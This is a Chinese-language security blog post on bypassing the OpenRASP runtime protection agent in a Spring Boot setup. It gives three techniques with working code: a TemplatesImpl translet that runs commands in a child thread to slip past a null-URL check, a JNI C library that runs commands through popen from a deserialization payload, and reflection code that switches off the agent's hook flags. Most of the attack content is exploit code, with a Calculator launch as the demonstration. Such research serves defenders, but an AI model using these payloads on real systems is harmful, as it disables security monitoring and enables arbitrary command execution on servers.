OpenRASP bypass
2026-01-11 20:54:18

OpenRasp bypass

环境搭建

https://github.com/baidu/openrasp/releases 中下载最新版压缩包,起一个简单的SpringBoot项目后讲rasp/rasp.jar添加至JVM选项中启动即可

image-20251217143053-uk3eeep

image-20251217143145-uel9saa

子线程绕过

rasp的工作原理是hook函数,常见的命令执行如Runtime.getRuntime.exec(command) , ProcessBuilder.start()Runtime.getRuntime.exec()的底层逻辑是ProcessBuilder.start(),而ProcessBuilder.start()中执行命令调用的是ProcessImpl.start(),故openrasp选择hook ProcessImpl.start()

ProcessImpl.start()更底层调用的是UNIXProcess

image-20251217145150-whjp78t

openrasphookUNIXProcess

方法为com.baidu.openrasp.hook.system.ProcessBuilderHook#hookMethod

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected void hookMethod(CtClass ctClass) throws IOException, CannotCompileException, NotFoundException {
if (ctClass.getName().contains("ProcessImpl")) {
if (OSUtil.isWindows()) {
String src = this.getInvokeStaticSrc(ProcessBuilderHook.class, "checkCommand", "$1,$2", new Class[]{String[].class, String.class});
this.insertBefore(ctClass, "<init>", (String)null, src);
} else if (ModuleLoader.isModularityJdk()) {
String src = this.getInvokeStaticSrc(ProcessBuilderHook.class, "checkCommand", "$1,$2,$4", new Class[]{byte[].class, byte[].class, byte[].class});
this.insertBefore(ctClass, "<init>", (String)null, src);
}
} else if (ctClass.getName().contains("UNIXProcess")) {
String src = this.getInvokeStaticSrc(ProcessBuilderHook.class, "checkCommand", "$1,$2,$4", new Class[]{byte[].class, byte[].class, byte[].class});
this.insertBefore(ctClass, "<init>", (String)null, src);
}

}

official.jsopenrasp的规则配置文件,对于命令注入/命令执行

1
2
3
4
5
6
7
8
9
10
// 从 v0.31 开始,当命令执行来自非HTTP请求的,我们也会检测反序列化攻击
// 但是不应该拦截正常的命令执行,所以这里加一个 context.url 检查
if (! context.url) {
return clean
}

// 算法2: 检测命令注入,或者命令执行后门
if (algorithmConfig.command_userinput.action != 'ignore') {
......
}

这里在检测前先对context.url进行了判断,只要context.urlnull就可以直接放行。

使用场景之一是,利用反序列化漏洞创建一个子线程进行命令执行

TemplatesImpl为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class BypassRasp extends AbstractTranslet implements Runnable{
public BypassRasp(){
new Thread(this).start();
}

@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
}

@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
}

@Override
public void run() {
try {
Runtime.getRuntime().exec(new String[]{"open","-a","Calculator"});
}catch (IOException e){}
}
}

image-20251217160858-yxaxy0q

image-20251217160941-gq6l5f5

在更严格的企业级rasp肯定已经被修了,而且rasp通常带有对反序列化链子危险类的检测,所以相对鸡肋。

JNI绕过

参考 http://www.bmth666.cn/2022/11/02/RASP%E7%BB%95%E8%BF%87%E5%88%9D%E6%8E%A2/index.html

但是上文是针对tomcat环境的,不够通用,经过调试,发现是可以和java反序列化漏洞配合使用的

raspjava底层的命令执行函数进行了hook,可以找更底层的,即C代码,可以通过加载DLL/so/dylink来自定义一个命令执行函数,绕过rasphook,比较像MysqlUDF提权。

JVM在加载native库 (如DLL/so/dylib) 时,不会读取Java源码/class文件来查找方法对应关系,而是根据Java方法的全限定信息,拼出一个标准的C函数名,然后在动态库中查找该符号。若找不到,则会抛出UnsatisfieldLinkError: ...异常。

对于一个Java native方法,如 public native void exec(String command)

对应的C函数名的格式应该如 Java_类名_方法名

BypassRasp2.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import java.io.IOException;

public class BypassRasp2 extends AbstractTranslet{
public BypassRasp2(){
}


@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
}

@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
}

static {
System.load("/tmp/libexec.dylib");
exec("open -a Calculator");
}

public static native String exec(String cmd);
}

对应的.c代码,对应的函数名为Java_BypassRasp2_exec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <jni.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


JNIEXPORT jstring JNICALL
Java_BypassRasp2_exec(JNIEnv *env, jobject obj, jstring cmd) {
const char *command = (*env)->GetStringUTFChars(env, cmd, NULL);
if (!command) {
return NULL;
}

FILE *fp = popen(command, "r");
if (!fp) {
(*env)->ReleaseStringUTFChars(env, cmd, command);
return NULL;
}

char buffer[1024];
char result[8192] = {0};

while (fgets(buffer, sizeof(buffer), fp) != NULL) {
size_t current_len = strlen(result);
size_t remaining = sizeof(result) - current_len - 1; // 留出 \0
if (remaining > 0) {
strncat(result, buffer, remaining);
}
}

pclose(fp);
(*env)->ReleaseStringUTFChars(env, cmd, command);

return (*env)->NewStringUTF(env, result);
}

.c编译成目标系统对应架构的动态链接库文件即可。

image-20251218105451-d1tlatn

利用的前提条件是绕过了rasp对反序列化漏洞的检测并且可以上传动态链接库文件至目标服务器中。

反射关闭hook绕过

以命令执行为例,在hook危险函数前,openrasp走到com.baidu.openrasp.HookHandler#doRealCheckWithoutRequest方法,首先会进行if判断

image-20251218171142-maiu1ty

image

enableHookstatic final修饰,正常反射无法修改其值,但是可以反射调用AtomicBoolean类中的set方法修改

image-20251218171201-0yk3o0z

BypassRasp3.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.concurrent.atomic.AtomicBoolean;

public class BypassRasp3 extends AbstractTranslet{
public BypassRasp3(){
}


@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
}

@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
}

static {
try {
Class clazz = Class.forName("com.baidu.openrasp.HookHandler");
Field used = clazz.getDeclaredField("enableHook");
used.setAccessible(true);
Object enableHook = used.get(null);
Method setMethod = AtomicBoolean.class.getDeclaredMethod("set",boolean.class);
setMethod.invoke(enableHook,false);
} catch (Exception e) {
throw new RuntimeException(e);
}

}
}

关闭hook开关之后可以执行任意命令

image-20251218171546-3ke1y29

enableHook外,还可利用disableHooks参数

image-20251218175648-7tgqs8b

image

enableHook同理


https://packages.baidu.com/app/openrasp/release/

https://github.com/baidu/openrasp/releases

https://kagty1.github.io/2025/08/07/RASP/

https://g1asssy.com/2023/06/11/rasp_tricks/?ref=deep-kondah.com

2026-01-11 20:54:18